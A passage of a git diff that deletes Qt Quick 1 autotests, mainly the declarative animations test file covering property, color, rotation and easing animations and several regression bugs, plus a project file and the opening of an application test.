b/tests/auto/qtquick1/qdeclarativeanimations/tst_qdeclarativeanimations.cpp deleted file mode 100644 index 8e51361baa..0000000000 --- a/tests/auto/qtquick1/qdeclarativeanimations/tst_qdeclarativeanimations.cpp +++ /dev/null @@ -1,877 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the test suite of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include -#include -#include -#include -#include -#include -#include -#include - -class tst_qdeclarativeanimations : public QObject -{ - Q_OBJECT -public: - tst_qdeclarativeanimations() {} - -private slots: - void initTestCase() { QDeclarativeEngine engine; } // ensure types are registered - - void simpleProperty(); - void simpleNumber(); - void simpleColor(); - void simpleRotation(); - void alwaysRunToEnd(); - void complete(); - void resume(); - void dotProperty(); - void badTypes(); - void badProperties(); - void mixedTypes(); - void properties(); - void propertiesTransition(); - void invalidDuration(); - void attached(); - void propertyValueSourceDefaultStart(); - void dontStart(); - void easingProperties(); - void rotation(); - void runningTrueBug(); - void nonTransitionBug(); - void registrationBug(); - void doubleRegistrationBug(); - void alwaysRunToEndRestartBug(); - void transitionAssignmentBug(); - void pauseBug(); -}; - -#define QTIMED_COMPARE(lhs, rhs) do { \ - for (int ii = 0; ii < 5; ++ii) { \ - if (lhs == rhs) \ - break; \ - QTest::qWait(50); \ - } \ - QCOMPARE(lhs, rhs); \ -} while (false) - -void tst_qdeclarativeanimations::simpleProperty() -{ - QDeclarative1Rectangle rect; - QDeclarative1PropertyAnimation animation; - animation.setTarget(&rect); - animation.setProperty("pos"); - animation.setTo(QPointF(200,200)); - QVERIFY(animation.target() == &rect); - QVERIFY(animation.property() == "pos"); - QVERIFY(animation.to().toPointF() == QPointF(200,200)); - animation.start(); - QVERIFY(animation.isRunning()); - QTest::qWait(animation.duration()); - QTIMED_COMPARE(rect.pos(), QPointF(200,200)); - - rect.setPos(0,0); - animation.start(); - animation.pause(); - QVERIFY(animation.isRunning()); - QVERIFY(animation.isPaused()); - animation.setCurrentTime(125); - QVERIFY(animation.currentTime() == 125); - QCOMPARE(rect.pos(), QPointF(100,100)); -} - -void tst_qdeclarativeanimations::simpleNumber() -{ - QDeclarative1Rectangle rect; - QDeclarative1NumberAnimation animation; - animation.setTarget(&rect); - animation.setProperty("x"); - animation.setTo(200); - QVERIFY(animation.target() == &rect); - QVERIFY(animation.property() == "x"); - QVERIFY(animation.to() == 200); - animation.start(); - QVERIFY(animation.isRunning()); - QTest::qWait(animation.duration()); - QTIMED_COMPARE(rect.x(), qreal(200)); - - rect.setX(0); - animation.start(); - animation.pause(); - QVERIFY(animation.isRunning()); - QVERIFY(animation.isPaused()); - animation.setCurrentTime(125); - QVERIFY(animation.currentTime() == 125); - QCOMPARE(rect.x(), qreal(100)); -} - -void tst_qdeclarativeanimations::simpleColor() -{ - QDeclarative1Rectangle rect; - QDeclarative1ColorAnimation animation; - animation.setTarget(&rect); - animation.setProperty("color"); - animation.setTo(QColor("red")); - QVERIFY(animation.target() == &rect); - QVERIFY(animation.property() == "color"); - QVERIFY(animation.to() == QColor("red")); - animation.start(); - QVERIFY(animation.isRunning()); - QTest::qWait(animation.duration()); - QTIMED_COMPARE(rect.color(), QColor("red")); - - rect.setColor(QColor("blue")); - animation.start(); - animation.pause(); - QVERIFY(animation.isRunning()); - QVERIFY(animation.isPaused()); - animation.setCurrentTime(125); - QVERIFY(animation.currentTime() == 125); - QCOMPARE(rect.color(), QColor::fromRgbF(0.498039, 0, 0.498039, 1)); - - rect.setColor(QColor("green")); - animation.setFrom(QColor("blue")); - QVERIFY(animation.from() == QColor("blue")); - animation.restart(); - QCOMPARE(rect.color(), QColor("blue")); - QVERIFY(animation.isRunning()); - animation.setCurrentTime(125); - QCOMPARE(rect.color(), QColor::fromRgbF(0.498039, 0, 0.498039, 1)); -} - -void tst_qdeclarativeanimations::simpleRotation() -{ - QDeclarative1Rectangle rect; - QDeclarative1RotationAnimation animation; - animation.setTarget(&rect); - animation.setProperty("rotation"); - animation.setTo(270); - QVERIFY(animation.target() == &rect); - QVERIFY(animation.property() == "rotation"); - QVERIFY(animation.to() == 270); - QVERIFY(animation.direction() == QDeclarative1RotationAnimation::Numerical); - animation.start(); - QVERIFY(animation.isRunning()); - QTest::qWait(animation.duration()); - QTIMED_COMPARE(rect.rotation(), qreal(270)); - - rect.setRotation(0); - animation.start(); - animation.pause(); - QVERIFY(animation.isRunning()); - QVERIFY(animation.isPaused()); - animation.setCurrentTime(125); - QVERIFY(animation.currentTime() == 125); - QCOMPARE(rect.rotation(), qreal(135)); -} - -void tst_qdeclarativeanimations::alwaysRunToEnd() -{ - QDeclarative1Rectangle rect; - QDeclarative1PropertyAnimation animation; - animation.setTarget(&rect); - animation.setProperty("x"); - animation.setTo(200); - animation.setDuration(1000); - animation.setLoops(-1); - animation.setAlwaysRunToEnd(true); - QVERIFY(animation.loops() == -1); - QVERIFY(animation.alwaysRunToEnd() == true); - animation.start(); - QTest::qWait(1500); - animation.stop(); - QVERIFY(rect.x() != qreal(200)); - QTest::qWait(500); - QTIMED_COMPARE(rect.x(), qreal(200)); -} - -void tst_qdeclarativeanimations::complete() -{ - QDeclarative1Rectangle rect; - QDeclarative1PropertyAnimation animation; - animation.setTarget(&rect); - animation.setProperty("x"); - animation.setFrom(1); - animation.setTo(200); - animation.setDuration(500); - QVERIFY(animation.from() == 1); - animation.start(); - QTest::qWait(50); - animation.stop(); - QVERIFY(rect.x() != qreal(200)); - animation.start(); - QTest::qWait(50); - QVERIFY(animation.isRunning()); - animation.complete(); - QCOMPARE(rect.x(), qreal(200)); -} - -void tst_qdeclarativeanimations::resume() -{ - QDeclarative1Rectangle rect; - QDeclarative1PropertyAnimation animation; - animation.setTarget(&rect); - animation.setProperty("x"); - animation.setFrom(10); - animation.setTo(200); - animation.setDuration(1000); - QVERIFY(animation.from() == 10); - - animation.start(); - QTest::qWait(400); - animation.pause(); - qreal x = rect.x(); - QVERIFY(x != qreal(200) && x != qreal(10)); - QVERIFY(animation.isRunning()); - QVERIFY(animation.isPaused()); - - animation.resume(); - QVERIFY(animation.isRunning()); - QVERIFY(!animation.isPaused()); - QTest::qWait(400); - animation.stop(); - QVERIFY(rect.x() > x); -} - -void tst_qdeclarativeanimations::dotProperty() -{ - QDeclarativeEngine engine; - QString componentStr = "import QtQuick 1.0\nRectangle{ id: rect; NumberAnimation{ objectName: \"anim\"; target: rect; property: \"border.width\"; to: 10 }}"; - QDeclarativeComponent animationComponent(&engine); - animationComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Rectangle *rect = qobject_cast(animationComponent.create()); - QVERIFY(rect); - QDeclarative1NumberAnimation *animation = rect->findChild("anim"); - QVERIFY(animation); - - animation->start(); - QTest::qWait(animation->duration()+50); - QTIMED_COMPARE(rect->border()->width(), 10); - - rect->border()->setWidth(0); - animation->start(); - animation->pause(); - animation->setCurrentTime(125); - QVERIFY(animation->currentTime() == 125); - QCOMPARE(rect->border()->width(), 5); - - delete rect; -} - -void tst_qdeclarativeanimations::badTypes() -{ - //don't crash - { - QDeclarativeView *view = new QDeclarativeView; - view->setSource(QUrl::fromLocalFile(SRCDIR "/data/badtype1.qml")); - - qApp->processEvents(); - - delete view; - } - - //make sure we get a compiler error - { - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/badtype2.qml")); - QTest::ignoreMessage(QtWarningMsg, "QDeclarativeComponent: Component is not ready"); - c.create(); - - QVERIFY(c.errors().count() == 1); - QCOMPARE(c.errors().at(0).description(), QLatin1String("Invalid property assignment: number expected")); - } - - //make sure we get a compiler error - { - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/badtype3.qml")); - QTest::ignoreMessage(QtWarningMsg, "QDeclarativeComponent: Component is not ready"); - c.create(); - - QVERIFY(c.errors().count() == 1); - QCOMPARE(c.errors().at(0).description(), QLatin1String("Invalid property assignment: color expected")); - } - - //don't crash - { - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/badtype4.qml")); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect); - - QDeclarativeItemPrivate::get(rect)->setState("state1"); - QTest::qWait(1000 + 50); - QDeclarative1Rectangle *myRect = rect->findChild("MyRect"); - QVERIFY(myRect); - QCOMPARE(myRect->x(),qreal(200)); - } -} - -void tst_qdeclarativeanimations::badProperties() -{ - //make sure we get a runtime error - { - QDeclarativeEngine engine; - - QDeclarativeComponent c1(&engine, QUrl::fromLocalFile(SRCDIR "/data/badproperty1.qml")); - QByteArray message = QUrl::fromLocalFile(SRCDIR "/data/badproperty1.qml").toString().toUtf8() + ":18:9: QML ColorAnimation: Cannot animate non-existent property \"border.colr\""; - QTest::ignoreMessage(QtWarningMsg, message); - QDeclarative1Rectangle *rect = qobject_cast(c1.create()); - QVERIFY(rect); - - QDeclarativeComponent c2(&engine, QUrl::fromLocalFile(SRCDIR "/data/badproperty2.qml")); - message = QUrl::fromLocalFile(SRCDIR "/data/badproperty2.qml").toString().toUtf8() + ":18:9: QML ColorAnimation: Cannot animate read-only property \"border\""; - QTest::ignoreMessage(QtWarningMsg, message); - rect = qobject_cast(c2.create()); - QVERIFY(rect); - - //### should we warn here are well? - //rect->setState("state1"); - } -} - -//test animating mixed types with property animation in a transition -//for example, int + real; color + real; etc -void tst_qdeclarativeanimations::mixedTypes() -{ - //assumes border.width stays a real -- not real robust - { - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/mixedtype1.qml")); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect); - - QDeclarativeItemPrivate::get(rect)->setState("state1"); - QTest::qWait(500); - QDeclarative1Rectangle *myRect = rect->findChild("MyRect"); - QVERIFY(myRect); - - //rather inexact -- is there a better way? - QVERIFY(myRect->x() > 100 && myRect->x() < 200); - QVERIFY(myRect->border()->width() > 1 && myRect->border()->width() < 10); - } - - { - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/mixedtype2.qml")); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect); - - QDeclarativeItemPrivate::get(rect)->setState("state1"); - QTest::qWait(500); - QDeclarative1Rectangle *myRect = rect->findChild("MyRect"); - QVERIFY(myRect); - - //rather inexact -- is there a better way? - QVERIFY(myRect->x() > 100 && myRect->x() < 200); - QVERIFY(myRect->color() != QColor("red") && myRect->color() != QColor("blue")); - } -} - -void tst_qdeclarativeanimations::properties() -{ - const int waitDuration = 300; - { - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/properties.qml")); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect); - - QDeclarative1Rectangle *myRect = rect->findChild("TheRect"); - QVERIFY(myRect); - QTest::qWait(waitDuration); - QTIMED_COMPARE(myRect->x(),qreal(200)); - } - - { - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/properties2.qml")); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect); - - QDeclarative1Rectangle *myRect = rect->findChild("TheRect"); - QVERIFY(myRect); - QTest::qWait(waitDuration); - QTIMED_COMPARE(myRect->x(),qreal(200)); - } - - { - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/properties3.qml")); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect); - - QDeclarative1Rectangle *myRect = rect->findChild("TheRect"); - QVERIFY(myRect); - QTest::qWait(waitDuration); - QTIMED_COMPARE(myRect->x(),qreal(300)); - } - - { - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/properties4.qml")); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect); - - QDeclarative1Rectangle *myRect = rect->findChild("TheRect"); - QVERIFY(myRect); - QTest::qWait(waitDuration); - QTIMED_COMPARE(myRect->y(),qreal(200)); - QTIMED_COMPARE(myRect->x(),qreal(100)); - } - - { - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/properties5.qml")); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect); - - QDeclarative1Rectangle *myRect = rect->findChild("TheRect"); - QVERIFY(myRect); - QTest::qWait(waitDuration); - QTIMED_COMPARE(myRect->x(),qreal(100)); - QTIMED_COMPARE(myRect->y(),qreal(200)); - } -} - -void tst_qdeclarativeanimations::propertiesTransition() -{ - const int waitDuration = 300; - { - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/propertiesTransition.qml")); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect); - - QDeclarativeItemPrivate::get(rect)->setState("moved"); - QDeclarative1Rectangle *myRect = rect->findChild("TheRect"); - QVERIFY(myRect); - QTest::qWait(waitDuration); - QTIMED_COMPARE(myRect->x(),qreal(200)); - } - - { - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/propertiesTransition2.qml")); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect); - - QDeclarative1Rectangle *myRect = rect->findChild("TheRect"); - QVERIFY(myRect); - QDeclarativeItemPrivate::get(rect)->setState("moved"); - QCOMPARE(myRect->x(),qreal(200)); - QCOMPARE(myRect->y(),qreal(100)); - QTest::qWait(waitDuration); - QTIMED_COMPARE(myRect->y(),qreal(200)); - } - - { - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/propertiesTransition3.qml")); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect); - - QDeclarative1Rectangle *myRect = rect->findChild("TheRect"); - QVERIFY(myRect); - QDeclarativeItemPrivate::get(rect)->setState("moved"); - QCOMPARE(myRect->x(),qreal(200)); - QCOMPARE(myRect->y(),qreal(100)); - } - - { - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/propertiesTransition4.qml")); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect); - - QDeclarative1Rectangle *myRect = rect->findChild("TheRect"); - QVERIFY(myRect); - QDeclarativeItemPrivate::get(rect)->setState("moved"); - QCOMPARE(myRect->x(),qreal(100)); - QTest::qWait(waitDuration); - QTIMED_COMPARE(myRect->x(),qreal(200)); - } - - { - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/propertiesTransition5.qml")); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect); - - QDeclarative1Rectangle *myRect = rect->findChild("TheRect"); - QVERIFY(myRect); - QDeclarativeItemPrivate::get(rect)->setState("moved"); - QCOMPARE(myRect->x(),qreal(100)); - QTest::qWait(waitDuration); - QTIMED_COMPARE(myRect->x(),qreal(200)); - } - - /*{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/propertiesTransition6.qml")); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect); - - QDeclarative1Rectangle *myRect = rect->findChild("TheRect"); - QVERIFY(myRect); - QDeclarativeItemPrivate::get(rect)->setState("moved"); - QCOMPARE(myRect->x(),qreal(100)); - QTest::qWait(waitDuration); - QTIMED_COMPARE(myRect->x(),qreal(100)); - }*/ - - { - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/propertiesTransition7.qml")); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect); - - QDeclarativeItemPrivate::get(rect)->setState("moved"); - QDeclarative1Rectangle *myRect = rect->findChild("TheRect"); - QVERIFY(myRect); - QTest::qWait(waitDuration); - QTIMED_COMPARE(myRect->x(),qreal(200)); - } - -} - -void tst_qdeclarativeanimations::invalidDuration() -{ - QDeclarative1PropertyAnimation *animation = new QDeclarative1PropertyAnimation; - QTest::ignoreMessage(QtWarningMsg, ": QML PropertyAnimation: Cannot set a duration of < 0"); - animation->setDuration(-1); - QCOMPARE(animation->duration(), 250); - - QDeclarative1PauseAnimation *pauseAnimation = new QDeclarative1PauseAnimation; - QTest::ignoreMessage(QtWarningMsg, ": QML PauseAnimation: Cannot set a duration of < 0"); - pauseAnimation->setDuration(-1); - QCOMPARE(pauseAnimation->duration(), 250); -} - -void tst_qdeclarativeanimations::attached() -{ - QDeclarativeEngine engine; - - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/attached.qml")); - QTest::ignoreMessage(QtDebugMsg, "off"); - QTest::ignoreMessage(QtDebugMsg, "on"); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect); -} - -void tst_qdeclarativeanimations::propertyValueSourceDefaultStart() -{ - { - QDeclarativeEngine engine; - - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/valuesource.qml")); - - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect); - - QDeclarative1AbstractAnimation *myAnim = rect->findChild("MyAnim"); - QVERIFY(myAnim); - QVERIFY(myAnim->isRunning()); - } - - { - QDeclarativeEngine engine; - - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/valuesource2.qml")); - - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect); - - QDeclarative1AbstractAnimation *myAnim = rect->findChild("MyAnim"); - QVERIFY(myAnim); - QVERIFY(myAnim->isRunning() == false); - } - - { - QDeclarativeEngine engine; - - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/dontAutoStart.qml")); - - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect); - - QDeclarative1AbstractAnimation *myAnim = rect->findChild("MyAnim"); - QVERIFY(myAnim && myAnim->qtAnimation()); - QVERIFY(myAnim->qtAnimation()->state() == QAbstractAnimation::Stopped); - } -} - - -void tst_qdeclarativeanimations::dontStart() -{ - { - QDeclarativeEngine engine; - - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/dontStart.qml")); - - QString warning = c.url().toString() + ":14:13: QML NumberAnimation: setRunning() cannot be used on non-root animation nodes."; - QTest::ignoreMessage(QtWarningMsg, qPrintable(warning)); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect); - - QDeclarative1AbstractAnimation *myAnim = rect->findChild("MyAnim"); - QVERIFY(myAnim && myAnim->qtAnimation()); - QVERIFY(myAnim->qtAnimation()->state() == QAbstractAnimation::Stopped); - } - - { - QDeclarativeEngine engine; - - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/dontStart2.qml")); - - QString warning = c.url().toString() + ":15:17: QML NumberAnimation: setRunning() cannot be used on non-root animation nodes."; - QTest::ignoreMessage(QtWarningMsg, qPrintable(warning)); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect); - - QDeclarative1AbstractAnimation *myAnim = rect->findChild("MyAnim"); - QVERIFY(myAnim && myAnim->qtAnimation()); - QVERIFY(myAnim->qtAnimation()->state() == QAbstractAnimation::Stopped); - } -} - -void tst_qdeclarativeanimations::easingProperties() -{ - { - QDeclarativeEngine engine; - QString componentStr = "import QtQuick 1.0\nNumberAnimation { easing.type: \"InOutQuad\" }"; - QDeclarativeComponent animationComponent(&engine); - animationComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1PropertyAnimation *animObject = qobject_cast(animationComponent.create()); - - QVERIFY(animObject != 0); - QCOMPARE(animObject->easing().type(), QEasingCurve::InOutQuad); - } - - { - QDeclarativeEngine engine; - QString componentStr = "import QtQuick 1.0\nPropertyAnimation { easing.type: \"OutBounce\"; easing.amplitude: 5.0 }"; - QDeclarativeComponent animationComponent(&engine); - animationComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1PropertyAnimation *animObject = qobject_cast(animationComponent.create()); - - QVERIFY(animObject != 0); - QCOMPARE(animObject->easing().type(), QEasingCurve::OutBounce); - QCOMPARE(animObject->easing().amplitude(), 5.0); - } - - { - QDeclarativeEngine engine; - QString componentStr = "import QtQuick 1.0\nPropertyAnimation { easing.type: \"OutElastic\"; easing.amplitude: 5.0; easing.period: 3.0}"; - QDeclarativeComponent animationComponent(&engine); - animationComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1PropertyAnimation *animObject = qobject_cast(animationComponent.create()); - - QVERIFY(animObject != 0); - QCOMPARE(animObject->easing().type(), QEasingCurve::OutElastic); - QCOMPARE(animObject->easing().amplitude(), 5.0); - QCOMPARE(animObject->easing().period(), 3.0); - } - - { - QDeclarativeEngine engine; - QString componentStr = "import QtQuick 1.0\nPropertyAnimation { easing.type: \"InOutBack\"; easing.overshoot: 2 }"; - QDeclarativeComponent animationComponent(&engine); - animationComponent.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1PropertyAnimation *animObject = qobject_cast(animationComponent.create()); - - QVERIFY(animObject != 0); - QCOMPARE(animObject->easing().type(), QEasingCurve::InOutBack); - QCOMPARE(animObject->easing().overshoot(), 2.0); - } -} - -void tst_qdeclarativeanimations::rotation() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/rotation.qml")); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect); - - QDeclarative1Rectangle *rr = rect->findChild("rr"); - QDeclarative1Rectangle *rr2 = rect->findChild("rr2"); - QDeclarative1Rectangle *rr3 = rect->findChild("rr3"); - QDeclarative1Rectangle *rr4 = rect->findChild("rr4"); - - QDeclarativeItemPrivate::get(rect)->setState("state1"); - QTest::qWait(800); - qreal r1 = rr->rotation(); - qreal r2 = rr2->rotation(); - qreal r3 = rr3->rotation(); - qreal r4 = rr4->rotation(); - - QVERIFY(r1 > qreal(0) && r1 < qreal(370)); - QVERIFY(r2 > qreal(0) && r2 < qreal(370)); - QVERIFY(r3 < qreal(0) && r3 > qreal(-350)); - QVERIFY(r4 > qreal(0) && r4 < qreal(10)); - QCOMPARE(r1,r2); - QVERIFY(r4 < r2); - - QTest::qWait(800); - QTIMED_COMPARE(rr->rotation() + rr2->rotation() + rr3->rotation() + rr4->rotation(), qreal(370*4)); -} - -void tst_qdeclarativeanimations::runningTrueBug() -{ - //ensure we start correctly when "running: true" is explicitly set - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/runningTrueBug.qml")); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect); - - QDeclarative1Rectangle *cloud = rect->findChild("cloud"); - QVERIFY(cloud); - QTest::qWait(1000); - QVERIFY(cloud->x() > qreal(0)); -} - -//QTBUG-12805 -void tst_qdeclarativeanimations::nonTransitionBug() -{ - //tests that the animation values from the previous transition are properly cleared - //in the case where an animation in the transition doesn't match anything (but previously did) - QDeclarativeEngine engine; - - QDeclarativeComponent c(&engine, SRCDIR "/data/nonTransitionBug.qml"); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect != 0); - QDeclarativeItemPrivate *rectPrivate = QDeclarativeItemPrivate::get(rect); - QDeclarative1Rectangle *mover = rect->findChild("mover"); - - mover->setX(100); - QCOMPARE(mover->x(), qreal(100)); - - rectPrivate->setState("left"); - QTRY_COMPARE(mover->x(), qreal(0)); - - mover->setX(100); - QCOMPARE(mover->x(), qreal(100)); - - //make sure we don't try to animate back to 0 - rectPrivate->setState("free"); - QTest::qWait(300); - QCOMPARE(mover->x(), qreal(100)); -} - -//QTBUG-14042 -void tst_qdeclarativeanimations::registrationBug() -{ - QDeclarativeEngine engine; - - QDeclarativeComponent c(&engine, SRCDIR "/data/registrationBug.qml"); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect != 0); - QTRY_COMPARE(rect->property("value"), QVariant(int(100))); -} - -void tst_qdeclarativeanimations::doubleRegistrationBug() -{ - QDeclarativeEngine engine; - - QDeclarativeComponent c(&engine, SRCDIR "/data/doubleRegistrationBug.qml"); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect != 0); - - QDeclarative1AbstractAnimation *anim = rect->findChild("animation"); - QVERIFY(anim != 0); - QTRY_COMPARE(anim->qtAnimation()->state(), QAbstractAnimation::Stopped); -} - -//QTBUG-16736 -void tst_qdeclarativeanimations::alwaysRunToEndRestartBug() -{ - QDeclarative1Rectangle rect; - QDeclarative1PropertyAnimation animation; - animation.setTarget(&rect); - animation.setProperty("x"); - animation.setTo(200); - animation.setDuration(1000); - animation.setLoops(-1); - animation.setAlwaysRunToEnd(true); - QVERIFY(animation.loops() == -1); - QVERIFY(animation.alwaysRunToEnd() == true); - animation.start(); - animation.stop(); - animation.start(); - animation.stop(); - QTest::qWait(500); - QVERIFY(rect.x() != qreal(200)); - QTest::qWait(800); - QTIMED_COMPARE(rect.x(), qreal(200)); - QCOMPARE(static_cast(&animation)->qtAnimation()->state(), QAbstractAnimation::Stopped); -} - -//QTBUG-20227 -void tst_qdeclarativeanimations::transitionAssignmentBug() -{ - QDeclarativeEngine engine; - - QDeclarativeComponent c(&engine, SRCDIR "/data/transitionAssignmentBug.qml"); - QDeclarative1Rectangle *rect = qobject_cast(c.create()); - QVERIFY(rect != 0); - - QCOMPARE(rect->property("nullObject").toBool(), false); -} - -//QTBUG-13598 -void tst_qdeclarativeanimations::pauseBug() -{ - QDeclarativeEngine engine; - - QDeclarativeComponent c(&engine, SRCDIR "/data/pauseBug.qml"); - QDeclarative1AbstractAnimation *anim = qobject_cast(c.create()); - QVERIFY(anim != 0); - QCOMPARE(anim->qtAnimation()->state(), QAbstractAnimation::Paused); - QCOMPARE(anim->isPaused(), true); - QCOMPARE(anim->isRunning(), true); - - delete anim; -} - -QTEST_MAIN(tst_qdeclarativeanimations) - -#include "tst_qdeclarativeanimations.moc" diff --git a/tests/auto/qtquick1/qdeclarativeapplication/qdeclarativeapplication.pro b/tests/auto/qtquick1/qdeclarativeapplication/qdeclarativeapplication.pro deleted file mode 100644 index d74cbff668..0000000000 --- a/tests/auto/qtquick1/qdeclarativeapplication/qdeclarativeapplication.pro +++ /dev/null @@ -1,6 +0,0 @@ -CONFIG += testcase -TARGET = tst_qdeclarativeapplication -macx:CONFIG -= app_bundle - -SOURCES += tst_qdeclarativeapplication.cpp -QT += core-private gui-private widgets-private declarative-private qtquick1-private testlib diff --git a/tests/auto/qtquick1/qdeclarativeapplication/tst_qdeclarativeapplication.cpp b/tests/auto/qtquick1/qdeclarativeapplication/tst_qdeclarativeapplication.cpp deleted file mode 100644 index 297b40c5f4..0000000000 --- a/tests/auto/qtquick1/qdeclarativeapplication/tst_qdeclarativeapplication.cpp +++ /dev/null @@ -1,122 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the test suite of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#include -#include -#include -#include -#include -#include - -class tst_qdeclarativeapplication : public QObject -{ - Q_OBJECT -public: - tst_qdeclarativeapplication(); - -private slots: - void active(); - void layoutDirection(); - -private: - QDeclarativeEngine engine; -}; - -tst_qdeclarativeapplication::tst_qdeclarativeapplication() -{ -} - -void 